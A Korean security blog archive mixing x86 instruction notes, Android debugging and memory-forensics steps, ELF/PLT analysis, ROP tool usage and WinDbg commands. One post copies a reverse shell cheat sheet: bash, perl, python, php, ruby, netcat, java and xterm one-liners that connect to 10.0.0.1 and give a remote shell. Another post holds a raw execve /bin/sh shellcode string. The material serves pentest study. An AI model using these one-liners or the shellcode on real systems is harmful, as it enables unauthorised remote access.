피연산자가 8비트 이면 al과 곱해서 ax에 저장되고 16비트이면 ax와 곱해서 dx:ax에 저장된다.
피연산자가 32비트 이면 EAX와 곱해서 EDX:EAX에 저장된다.
결과에서 사용되는 비트 이외에 남은 비트를 부호비트로 채운다.
 
- DIV(Unsigned Integer Divide) : 8, 16, 32비트 부호 없는 값의 나눗셈을 한다.
ax/8bit 값 -> al:ah (몫:나머지)
dx:ax/16bit 값 -> ax:dx
edx:eax/32bit 값 -> eax:edx
결과에 따라 CF, OF, ZF가 세트될 수 있다.
 
- IDIV(Integer Divide) : 8, 16, 32비트 부호 있는 값의 나눗셈을 한다.
ax/8bit 값 -> al:ah (몫:나머지)
dx:ax/16bit 값 -> ax:dx
edx:eax/32bit 값 -> eax:edx
나눌 대상은 나눌 값보다 커야 한다. 부호 없는 경우는 xor연산을 해 0으로 초기화시키면서
확장을 시키고 부호 있는 경우 movsx 동작을 하는 CBW, CWD, CDQ로 부호비트로 채우면서
초기화 시켜서 나눗셈 연산을 수행한다.
 
- INC(Increase) : 피 연산자에 1을 더한다.
연산 결과에 따라 ZF나 OF가 세트 될 수 있다.
- DEC(decrease) : 피 연산자에 1을 뺀다.
연산 결과에 따라 ZF나 OF가 세트 될 수 있다.
 
- LEA(Load Effective Address) : source 의 주소값을 destination에 복사한다.
다시말해 간단히 source 주소값을 알아내서 destination에 복사하는 명령어라고 보면된다.
 
- MOV(Move data) : source 데이터를 destination으로 복사한다.
 
- MOVS(Move String) : source에서 destination으로 복사한다.
                                 문자열을 다루기 때문에 ESI와 EDI를 다룬다.
                                 따라서 ESI 안의 주소가 가리키는 문자열을 EDI 안의 주소가
                                 가리키는 곳으로 복사한다.
MOVS destination, Source
(MOVSB, MOVSW, MOVSD, MOVSQ : BYTE, WORD, DWORD, QWORD)
복사하는 단위마다 명령어가 다르다.
MOVSQ : 64비트에서 사용 가능한 명령어.
 
- MOVZX(Move with zero-Extend) : BYTE나 WORD크기의 피 연산자를 WORD나 DWORD
                                                   크기로 확장하고 남은 비트는 0으로 채운다.
 
- MOVSX(Move with Sign eXtend) : BYTE나 WORD 크기의 피연산자를 WORD나 DWORD
                                                    크기로 확장하고 부호는 그대로 유지한다.
                                                    다시 말해 나머지 공간을 부호비트로 채운다.
* movzx와 movsx의 차이점은 확장시 부호비트에 따라 값이 달라지기 때문에
확장시 확장된 공간을 부호비트로 채우거나 0으로 채우기 위해 두가지로 나뉘어 진다.
movxz - unsign , movsz - sing
 
- rep(repeat string) : ECX가 0이 될 때 까지 문자열 관련 명령을 반복시킨다.
                             문자열 관련 명령어는 MOVS, SCAS, STOS 등이 있다.
 
- repne(repeat until Not Equal) : 보통 SCAS명령어와 함께 쓰인다.
지정된 데이터 타입별로 문자열을 구분하고 한번 구분할 때마다 ECX를 -1 시킨다.
ZF가 1이거나 ECX가 0이 되기 전까지 반복한다.
시작 하는 순간 ECX를 -1 하고 시작한다.
 
- SCAS(Scan String) : 보통 REPNE REPE와 같이 사용된다.
                               Register와 Memory의 데이터 비교한다.
AL 또는 AX, EAX와 ES:(E)DI가 지시한 메모리 내용 비교 후 같은 값이면 ZF가 1로 세트된다.
scasb, scasw, scasd로 사용 한다.
자동으로 DF에 따라 EDI값이 달라진다.
 
- STOS(Store String) : AL, AX, EAX 안의 값을 EDI가 가리키는 곳으로 문자열을 저장시킨다.
Stosb, stosw, stosd로 사용되며 rep명령어와 함께 사용될 수도 있다.
DF에 따라 EDI 값이 + 또는 - 된다.
 
- LOOP : ECX가 0이 될 때 까지 정해진 라벨로 goto 한다.
디스 어셈블리 되면 라벨은 주소가 된다. 다시말해 라벨은 주소다.
또 loop label 을 디스 어셈블리 하면 loopd short 주소 이런 형식으로 나오는데
Loop를 사용하면 CX를 사용한다는 이야기이고 loopd는 ECX값을 사용한다는 이야기이다.
Short은 가까운 라벨을 찾겠다는 의미인데 별 뜻은 없다라고 난 생각한다.
 
- AND : 논리연산자 중 하나로 마스크 비트를 씌우는 동작을 한다.
예를 들면 네트워크에서 서브넷 마스크를 설정하면 네트워크 이름이 나오게 되는게
하나의 예이다.
 
- SAR(Shift Arithmetic Right) : SHR 명령을 사용하면 부호 비트가 변화하기 때문에 값이
                                            일정하게 바뀌지 않는다.
이때 사용 하는 것이 SAR인데 SHR은 무조건 오른쪽으로 비트를 밀어버리는 반면에
SAR은 오른쪽으로 비트를 밀고 기존의 부호 비트를 다시 MSB에 적용시킨다.
예를 들어 10110110 (-74)라는 비트를 SHR하면 01011011(91)이 되는데
만약 SAR하면 11011011(-37)이 된다.
neg : 음수값을 양수로 양수값을 음수로 바꿀때 사용
 
- TEST : 두 오퍼랜드값을 AND연산을 수행한다.
하지만 결과는 저장하지 않고 플래그 레지스터에만 영향을 준다.
대체적으로 TEST 명령 후 jmp 구문이 온다.
TEST는 CMP와 비교할 수 있는데 둘 다 비교 후 결과는 저장하지 않고
플레그 레지스터만 바꾼다.
예를 들어 if문을 사용할 때 비교 대상이 있을경우(if(a<10) 와 비교 대상이 없을경우(if(a))
가 있는데 비교 대상이 있을 경우는 cmp를 쓰고 비교 대상이 없을 경우는
현재 상태를 모르기 때문에 값이 뭔지 알아내기 위해서 TEST 명령어를 이용해 AND연산을
이용해 자신이 어떤 값인지 알아낸다.
보통 참인지 거짓인지를 알아내기 위해 사용한다.
OF와 CF는 항상 0으로 세트되고 TEST 연산 결과값이 0이면 ZF가 1로 세트되고
아니면 0으로 해제된다.
 
- CALL : 함수 호출 시 사용된다.
Jmp와 같이 프로그램의 실행 흐름을 변경 시키지만 jmp명령어와 다른 점은
돌아올 리턴 어드레스를 스택에 저장한다는 것이다.
 
-CMP : 두 오퍼랜드를 비교한다.
Destination 에서 source 를 묵시적으로 값을 빼서 비교한다.
두 피연산자의 값이 같다면 결과는 0이 되고 ZF가 1로 세트된다.
 
- OFFSET : 세그먼트 시작부터 변수가 위치한 거리까지 상대적인 거리를 리턴한다.
예를 들어 lea edi, offset value 하면 세그먼트로부터 value의 위치를 edi에 저장한다.
 
- NOP(No Operation) : 아무일도 하지 않는다.
필요에 따라 유용하게 사용하는데 예를 들면 추가적인 코드를 삽입시키고자 할 때
중간에 바로 삽입이 안되기 때문에 공간을 만들어야 한다.
이럴 때 필요없는 코드를 nop하면 그만큼의 공간을 확보할 수 있다.
 
--조건 점프 명령--
 
JMP는 플래그 래지스터 값들을 이용해 조건이 만족하면 점프를 수행하게 되는 명령어이다.
JA(Jump if (unsigned) above) : CF = 0 and ZF = 0
JAE(Jump if (unsigned) above or equal) : CF = 0
JB(Jump if (unsigned) below) : CF = 1
JBE(Jump if (unsigned) below or equal) : CF = 1 or ZF = 1
JC(Jump if carry flag set) : CF = 1
JCXZ(Jump if CX is 0) : CX = 0
JE(Jump if equal) : ZF = 1
JECXZ(Jump if ECX is 0) : ECX = 0
JG(Jump if (signed) greater) : ZF = 0 and SF = 0
JGE(Jump if (singed) greater of equal) : SF = OF
JL(Jump if (signed) less) : SF != OF
JLE(Jump if (signed) less or equal) : ZF = 1 and OF != OF
JNA(Jump if (unsigned) not above) : CF = 1 or ZF = 1
JNAE(Jump if (unsigned) not above or equal) : CF = 1
JNB(Jump if (unsigned) not below) : CF = 0
JNBE(Jump if (unsigned) not below or equal) : CF = 0 and ZF = 0
JNC(Jump if carry flag not set) : CF = 0
JNE(Jump if not equal) : ZF = 0
JNG(Jump if (signed) not greater : ZF = 1 or SF != OF
JNGE(Jump if (signed) not greater or equal) : SF != OF
JNL(Jump if (signed) not less) : SF = OF
JNLE(Jump if (signed) not less or equal) : ZF = 0 and SF = OF
JNO(Jump if overflow flag not set) : OF = 0
JNP(Jump if parity flag not set) : PF = 0
JNS(Jump if sign flag not set) : SF = 0
JNZ(Jump if not zero) : ZF = 0
JO(Jump if overflow flag set) : OF = 1
JP(Jump if parity flag set) : PF = 1
JPE(Jump if parity is equal) : PF = 1
JPO(Jump if parity is odd) : PF = 0
JS(Jump if sign flag is set) : SF = 1
JZ(Jump is zero) : ZF = 1
 
--부호 확장 명령어
 
부호 있는 나눗셈 연산을 할 시 나눌 대상이 되는 값은 나눌 값보다 커야 하기 때문에 확장을
시켜줘야 하는데 부호 있는 확장을 할 시 사용하는 명령어가 부호 확장 명령어 이다.
- CBW(Convert Byte to Word) : byte크기를 word 크기로 확장시킴
- CWD(Convert Word to Dword) : word크기를 dword 크기로 확장시킴
- CDQ(Convert Dword to Qword) : dword 크기를 qword 크기로 확장시킴


Posted by k1rha
2015. 1. 19. 17:40

Presently, my phone is a Samsung Galaxy S3 GT-I9300. But in general the following steps should be applicable to any Android device.

First, download Android SDK and NDK. From SDK you can get the “adb” to connect into the phone. From NDK you can get the gdbserver in ARM binary, upload that to the phone via “adb”.

Next mount the /system as read-writeable:

mount -o rw,remount /dev/block/mmcblk0p9 /system

(the block device “/dev/block/mmcblk0p9″ is specific to my device, yours may differ. Just use “mount” to see which block device the “/system” directory is mounted on. If “/system” does not appear in “mount” command, then most probably the root filesystem block device should be used.)

And then copy the gdbserver from the Android NDK into /system/bin directory.

Next, assuming the process ID of the target process is 16835, then run this inside the Android phone:

gdbserver :4567 --attach 16835
Attached; pid = 16835
Listening on port 4567

In another PC (which is accessible by TCP/IP from the phone, download all the ARM-based libraries from the phone and run the gdb client):

Get all the ARM libraries and the target binaries (to be debugged, and in my case, it is called “debuggerd”) from mobile phone:

adb pull /system/lib /tmp/system_lib  ( 디바이스에서 lib 파일을 가져옴 )

And run the gdb client (which is from the NDK):


$ adb forward tcp:4567 tcp:4567


/android-ndk-r7/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin/arm-linux-androideabi-gdb /tmp/debuggerd (디바이스에서 바이너리를 가져옴 - 바이너리 에 있는 심볼을 가져오기 위함 )
(gdb) set auto-solib-add on
(gdb) target remote :
4567
(gdb) set solib-search-path /tmp/system_lib ( 디바이스에서 가져온 lib 파일 )


Subsequent messages:

Error while mapping shared library sections:
/system/bin/linker: No such file or directory.
Symbol file not found for /system/bin/linker
Reading symbols from /tmp/system_lib/libc.so...(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libc.so
Reading symbols from /tmp/system_lib/libstdc++.so...(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libstdc++.so
Reading symbols from /tmp/system_lib/libm.so...
(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libm.so
Reading symbols from /tmp/system_lib/libz.so...(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libz.so
Reading symbols from /tmp/system_lib/libcrypto.so...
(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libcrypto.so
Reading symbols from /tmp/system_lib/libssl.so...(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libssl.so
(gdb) info sharedlibrary
From To Syms Read Shared Object Library
No /system/bin/linker
0x4015a0c0 0x401882d4 Yes /tmp/system_lib/libc.so
0x4019e934 0x4019ea3c Yes /tmp/system_lib/libstdc++.so
0x401a1f70 0x401b1db8 Yes /tmp/system_lib/libm.so
0x400332a0 0x4004441c Yes /tmp/system_lib/libz.so
0x400b1a00 0x401172b8 Yes /tmp/system_lib/libcrypto.so
0x4005f530 0x4007798c Yes /tmp/system_lib/libssl.so
(gdb)

Posted by k1rha
2014. 12. 2. 21:01


[ Android 에 lime 로 메모리 덤프 할때 참조한 URL ] 

대상 : Nexus 5  3.4.0 kernel    4.4.2 android kiket



1. https://code.google.com/p/volatility/wiki/AndroidMemoryForensics  //android 에뮬레이터에 lime 올리기

 

2. https://source.android.com/source/building-kernels.html#building  //안드로이드 커널 코드 받는곳

 ( 없으면 gitHub 에서 검색해도 가능  : https://github.com/CyanogenMod/android_device_lge_hammerhead ) 

  -> (gcc 버젼에 민감함... 에러를 뱉어낼때도 있음 필자는 4.6 버젼에서 성공


3. https://developers.google.com/android/nexus/images?hl=ko-KR#hammerheadkot49h  // 안드로이드 관련 커널 이미지 파일  (4번에서쓰임) 

 


4. http://blog.tunz.kr/115  // 안드로이드 custom  커널 이미지 파일 flash rom 에 다시 올리기. (그냥 있는 커널 이미지는 insmod 와 rmmod 가 없음 빌드시 1번 에뮬레이터 올리기 옵션을 .config 에 꼭 추가해서 빌드해줘야함  ) 

 

5. 루팅해도 boot.img 는 그대로 유지됨. 재루팅시켜줘야함. 



트러블 슈팅 : failed ( No such file or directory ) -> dmegs 출력해봄

symbol 없다거나 global_offset_table 이상이 있다고 나올 경우 - -fno-pic 옵션이 빠진거임


< lime 로 덤프한 내용을 tcp 로 바로 전송하기 > 


$ adb push lime.ko /sdcard/lime.ko
$ adb forward tcp:4444 tcp:4444
$ adb shell
$ su
# insmod /sdcard/lime.ko "path=tcp:4444 format=lime"

Now on the host machine, we can establish the connection and acquire memory using netcat

$ nc localhost 4444 > ram.lime

Acquiring to sdcard

# insmod /sdcard/lime.ko "path=/sdcard/ram.lime format=lime"

Posted by k1rha
2014. 11. 25. 09:42

링크 http://gogil.kr/66


Posted by k1rha
2014. 10. 15. 11:44

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2014. 5. 23. 09:22

출처 :  [ http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet ]


리버스 쉘 치트 시트 

Reverse Shell Cheat Sheet

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.

If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.

Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

Python

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

[Untested submission from anonymous reader]

xterm

One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

Further Reading

Also check out Bernardo’s Reverse Shell One-Liners.  He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell.

There’s a reverse shell written in gawk over here.  Gawk is not something that I’ve ever used myself.  However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.

Tags: , , , , , , , , ,

Posted in Shells


Posted by k1rha
2014. 5. 14. 17:32

#ldd 명령어 분석 ( for dynamic symbol 저장 위치 찾기)  , ldd 동작 방식 ,shared library 호출 방식 

  1. #ldd 명령어 소스코드의 원형 분석
  • 파일 및 공유라이브러리들의 공유라이브러리 의존관계 출력 command 내부적으로LD_TRACE_LOADED_OBJECT=1 사용


        /* ld.so magic */

        setenv("LD_TRACE_LOADED_OBJECTS", "yes", 1);

        if (fmt1)

                setenv("LD_TRACE_LOADED_OBJECTS_FMT1", fmt1, 1);

        if (fmt2)

                setenv("LD_TRACE_LOADED_OBJECTS_FMT2", fmt2, 1);


  • 장점 : 실행 바이너리 실행되지 않은 공유 라이브러리 들간의 의존도도 있다. ( 2번에서 이어서 설명 )

 

 

  1. LD_TRACE_LOADED_OBJECT
  • root@k1rh4:~/libtest/1# LD_TRACE_LOADED_OBJECTS=1 ./main

        linux-gate.so.1 =>  (0xb774b000)

        libstrcpy2.so => /usr/lib/libstrcpy2.so (0xb7735000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb758b000)

        /lib/ld-linux.so.2 (0xb774c000)

 

  • #ldd 커맨드와 LD_TRACE_LOADED_OBJECT 차이 
  • ( 실행 중이지 않은 라이브러리의 공유라이브러리 의존도 확인 가능 여부 )

root@k1rh4:~/libtest/1# ldd /usr/lib/libstrcpy2.so

        linux-gate.so.1 =>  (0xb7788000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c8000)

        /lib/ld-linux.so.2 (0xb7789000)

root@k1rh4:~/libtest/1# LD_TRACE_LOADED_OBJECTS=1 /usr/lib/libstrcpy2.so

세그멘테이션 오류 (core dumped)

실행파일만 .

 

 

  1. ELF 헤더 정보에 dynamic 심볼 정보를 참조.

 (테스트환경은 strcpy2 공유라이브러리를 링킹 테스트)

 

  • ELF section header 정보 ( 우측 )
    • [6].dynstr (STRTAB) 0x8048298 심볼 정보가 컴파일 저장됨.

(gdb) x/20s 0x08048298    //아래 섹션 헤더 부분을 참조 

0x8048298:       ""

0x8048299:       "libstrcpy2.so"   // 아래 섹션헤더 부분을 참조 

0x80482a7:       "__gmon_start__"

0x80482b6:       "_Jv_RegisterClasses"

0x80482ca:       "_init"

0x80482d0:       "_fini"

0x80482d6:       "strcpy2"

0x80482de:       "libc.so.6"

0x80482e8:       "_IO_stdin_used"

0x80482f7:       "__libc_start_main"

0x8048309:       "_edata"

0x8048310:       "__bss_start"

0x804831c:       "_end"

0x8048321:       "GLIBC_2.0"

0x804832b:       <Address 0x804832b out of bounds>

정보를 기준으로 libstrcpy2.so 탐색함.

 

  • 바이너리 실행 library 이름으로 탐색함

root@k1rh4:~/libtest/1# strace -i ./main

[b77b1424] execve("./main", ["./main"], [/* 20 vars */]) = 0

[b773bf94] brk(0)                       = 0x8228000

[b773dcb1] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

[b773dd63] mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7723000

[b773dcb1] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)

[b773db74] open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3

[b773dafd] fstat64(3, {st_mode=S_IFREG|0644, st_size=67880, ...}) = 0

[b773dd63] mmap2(NULL, 67880, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7712000

[b773dbad] close(3)                     = 0

[b773dcb1] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

[b773db74] open("/usr/lib/libstrcpy2.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

[b773db74] open("/lib/i386-linux-gnu/tls/i686/sse2/cmov/libstrcpy2.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

[b773dabd] stat64("/lib/i386-linux-gnu/tls/i686/sse2/cmov", 0xbff9d860) = -1 ENOENT (No such file or directory)

[b773db74] open("/lib/i386-linux-gnu/tls/i686/sse2/libstrcpy2.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

[b773dabd] stat64("/lib/i386-linux-gnu/tls/i686/sse2", 0xbff9d860) = -1 ENOENT (No such file or directory)

[b773db74] open("/lib/i386-linux-gnu/tls/i686/cmov/libstrcpy2.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

.

.( 탐색 중… )

.

[b773db74] open("/lib/libstrcpy2.so", O_RDONLY|O_CLOEXEC) = 3  

           //   [ /lib/ 에서  strcpy2 공유 라이브러리를 찾음 ]

[b773dbf4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260\3\0\0004\0\0\0"..., 512) = 512

[b773dafd] fstat64(3, {st_mode=S_IFREG|0755, st_size=6760, ...}) = 0

[b773dd63] mmap2(NULL, 8216, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb770f000

             //   [ /lib/libstrcpy2.so ] 메모리에 적재 시킴

 

  • 바이너리를 실행하면 .init 보다 먼저 공유라이브러리가 올라오게 된다.

(gdb) x/10xi 0xb7fc746c  // 공유라이브러리의 strcpy2()

   0xb7fc746c <strcpy2>:        push   %ebp

   0xb7fc746d <strcpy2+1>:      mov    %esp,%ebp

   0xb7fc746f <strcpy2+3>:      push   %ebx

   0xb7fc7470 <strcpy2+4>:      sub    $0x14,%esp

   0xb7fc7473 <strcpy2+7>:      call   0xb7fc7467 <__i686.get_pc_thunk.bx>

   0xb7fc7478 <strcpy2+12>:     add    $0x1b7c,%ebx

   0xb7fc747e <strcpy2+18>:     lea    -0x1b02(%ebx),%eax

   0xb7fc7484 <strcpy2+24>:     mov    %eax,(%esp)

   0xb7fc7487 <strcpy2+27>:     call   0xb7fc7380 <printf@plt>

   0xb7fc748c <strcpy2+32>:     add    $0x14,%esp

 


  • Strcpy2@PLT -> strcpy2@GOT.PLT 가리키고 있음.

(gdb) x/10xi 0x80483f0

   0x80483f0 <strcpy2@plt>:     jmp    *0x804a008

   0x80483f6 <strcpy2@plt+6>:   push   $0x10

   0x80483fb <strcpy2@plt+11>:  jmp    0x80483c0

(gdb) x/10xi 0x804a008

   0x804a008 <strcpy2@got.plt>: testb  $0x0,0x804(%ebx)

 

        • Strcpy 한번 호출 뒤의 변화

(gdb) x/10xi 0x80483f0

   0x80483f0 <strcpy2@plt>:     jmp    *0x804a008

   0x80483f6 <strcpy2@plt+6>:   push   $0x10

   0x80483fb <strcpy2@plt+11>:  jmp    0x80483c0

(gdb) x/10xi *0x804a008

   0xb7fc746c <strcpy2>:        push   %ebp   // 공유라이브러리의 주소

   0xb7fc746d <strcpy2+1>:      mov    %esp,%ebp

   0xb7fc746f <strcpy2+3>:      push   %ebx

   0xb7fc7470 <strcpy2+4>:      sub    $0x14,%esp

   0xb7fc7473 <strcpy2+7>:      call   0xb7fc7467 <__i686.get_pc_thunk.bx>


[ Section Headers: ]

  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al

  [ 0]                       NULL            00000000 000000 000000 00      0   0  0

  [ 1] .interp              PROGBITS        08048154 000154 000013 00   A  0   0  1

  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4

  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4

  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 00003c 04   A  5   0  4

  [ 5] .dynsym           DYNSYM          080481e8 0001e8 0000b0 10   A  6   1  4

  [ 6] .dynstr            STRTAB          08048298 000298 000093 00   A  0   0  1   // 참조된 섹션 헤더

  [ 7] .gnu.version      VERSYM          0804832c 00032c 000016 02   A  5   0  2

  [ 8] .gnu.version_r    VERNEED         08048344 000344 000020 00   A  6   1  4

  [ 9] .rel.dyn            REL             08048364 000364 000008 08   A  5   0  4

  [10] .rel.plt             REL             0804836c 00036c 000018 08   A  5  12  4

  [11] .init                PROGBITS        08048384 000384 00002e 00  AX  0   0  4

  [12] .plt               PROGBITS        080483c0 0003c0 000040 04  AX  0   0 16

  [13] .text              PROGBITS        08048400 000400 00017c 00  AX  0   0 16

  [14] .fini               PROGBITS        0804857c 00057c 00001a 00  AX  0   0  4

  [15] .rodata           PROGBITS        08048598 000598 000008 00   A  0   0  4

  [16] .eh_frame_hdr  PROGBITS        080485a0 0005a0 000034 00   A  0   0  4

  [17] .eh_frame        PROGBITS        080485d4 0005d4 0000c4 00   A  0   0  4

  [18] .ctors             PROGBITS        08049f0c 000f0c 000008 00  WA  0   0  4

  [19] .dtors             PROGBITS        08049f14 000f14 000008 00  WA  0   0  4

  [20] .jcr                PROGBITS        08049f1c 000f1c 000004 00  WA  0   0  4

  [21] .dynamic         DYNAMIC         08049f20 000f20 0000d0 08  WA  6   0  4

  [22] .got              PROGBITS        08049ff0 000ff0 000004 04  WA  0   0  4

  [23] .got.plt          PROGBITS        08049ff4 000ff4 000018 04  WA  0   0  4

  [24] .data              PROGBITS        0804a00c 00100c 000008 00  WA  0   0  4

  [25] .bss               NOBITS          0804a014 001014 000008 00  WA  0   0  4

  [26] .comment       PROGBITS        00000000 001014 00002a 01  MS  0   0  1

  [27] .shstrtab         STRTAB          00000000 00103e 0000fc 00      0   0  1

  [28] .symtab          SYMTAB          00000000 0015ec 000410 10     29  45  4

  [29] .strtab           STRTAB          00000000 0019fc 0001f2 00      0   0  1


Posted by k1rha
2014. 4. 23. 19:40

void printchar(unsigned char c)

{

        if(isprint(c))

                printf("%c",c);

        else

                printf(".");

}

void dumpcode(unsigned char *buff, int len)

{

        int i;

        for(i=0;i<len;i++)

        {

                if(i%16==0)

                        printf("0x%08x  ",&buff[i]);

                printf("%02x ",buff[i]);


                if(i%16-7==0)

                      printf("- ");


                if(i%16-15==0)

                {

                        int j;

                        printf("  ");

                        for(j=i-15;j<=i;j++)

                                printchar(buff[j]);

                        printf("\n\r");

                }

        }

        if(i%16!=0)

        {

                int j;

                int spaces=(len-i+16-i%16)*3+2;

                for(j=0;j<spaces;j++)

                        printf(" ");

                for(j=i-i%16;j<len;j++)

                        printchar(buff[j]);

        }

        printf("\n\r");

}

================

#include <windows.h>

#include <stdio.h>

#include <string.h>

#include "dumpcode.h"


int main (void) 

{

    char *str = "hello wolrd";

    int i = 1;

    int j = 2;

    printf("%s\n\r", str);


    dumpcode((char*)&str, 0x100);

    dumpcode(str, 0x100);

    return 0;

}

[출처] dumpcode.h|작성자 느림보



Posted by k1rha
2014. 4. 21. 23:15


[ ROP gadget finder ] ROP 가젯 찾아주는 소스코드 (ARM MIPS x64 등등 지원)

진짜 가젯 찾아주는데 최고인 것 같다.


관련 자료  : https://github.com/JonathanSalwan/ROPgadget/


GitHub (v5.1 - 21-04-2014) https://github.com/JonathanSalwan/ROPgadget/

How to install

$ git clone -b master git@github.com:JonathanSalwan/ROPgadget.git
$ cd ROPgadget
$ cd ./dependencies/capstone-next
$ ./make.sh
$ sudo ./make.sh install
$ cd ./bindings/python
$ make 

$ sudo make install


Usage

usage: ROPgadget.py [-h] [-v] [--binary <binary>] [--opcode <opcodes>]
                    [--string <string>] [--memstr <string>] [--depth <nbyte>]
                    [--only <key>] [--filter <key>] [--range <start-end>]
                    [--thumb] [--console] [--norop] [--nojop] [--nosys]

optional arguments:
  -h, --help           show this help message and exit
  -v, --version        Display the ROPgadget's version
  --binary <binary>    Specify a binary filename to analyze
  --opcode <opcodes>   Searh opcode in executable segment
  --string <string>    Search string in readable segment
  --memstr <string>    Search each byte in all readable segment
  --depth <nbyte>      Depth for search engine (default 10)
  --only <key>         Only show specific instructions
  --filter <key>       Suppress specific instructions
  --range <start-end>  Search between two addresses (0x...-0x...)
  --thumb              Use the thumb mode for the search engine. (ARM only)
  --console            Use an interactive console for search engine
  --norop              Disable ROP search engine
  --nojop              Disable JOP search engine
  --nosys              Disable SYS search engine

console commands:
  display              Display all gadgets
  help                 Display the help
  load                 Load all gadgets
  quit                 Quit the console mode 

search Search specific keywords or not







Posted by k1rha
2013. 12. 12. 23:29

Description

This page lists a few shellcodes and proposes an API to search a specific shellcode. If you want to add your shellcode in this database, send an email at submit at shell-storm org

 

API

This is very straightforward to communicate with the API. Just send a simple GET method. The "s" argument contains your keyword.

http://shell-storm.org/api/?s=<keyword>

The output will be like that :

<auteur 1>::::<plateforme 1>::::<shellcode title 1>::::<shellcode id 1>::::<shellcode url 1>
<auteur 2>::::<plateforme 2>::::<shellcode title 2>::::<shellcode id 2>::::<shellcode url 2>
<auteur 3>::::<plateforme 3>::::<shellcode title 3>::::<shellcode id 3>::::<shellcode url 3>

For more information, you can find/use this shell-storm API script.


 

 


CENTOS  5.2 ~ 6.2 까지 쉘코드 

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"




Posted by k1rha
2013. 12. 12. 23:29

WINGDB


 (register), A (Assemble) , BL (breakpoint List), BC (breakpoint clear), BD(break disable),

BE(breakpoint Enable), BA(Break on Access), BP(set breakpoint) dd(display memory)

dl(display linked list), ds(display string), DT(display type), k (display stack backtrace), e(enter values), s(search memory), r (register), g(go), p(step), pc(step to next call), tb(trace to next branch)


Meta commnad  : 

 - .attach (attach process)

 - .cls(clear)

 - .sympath (symbol path) **중요 윈도우 라이브러리는 항상 해줘야함


key event 

 - ctrl + break : process break (이후 브레이크 포인트로 분석가능)

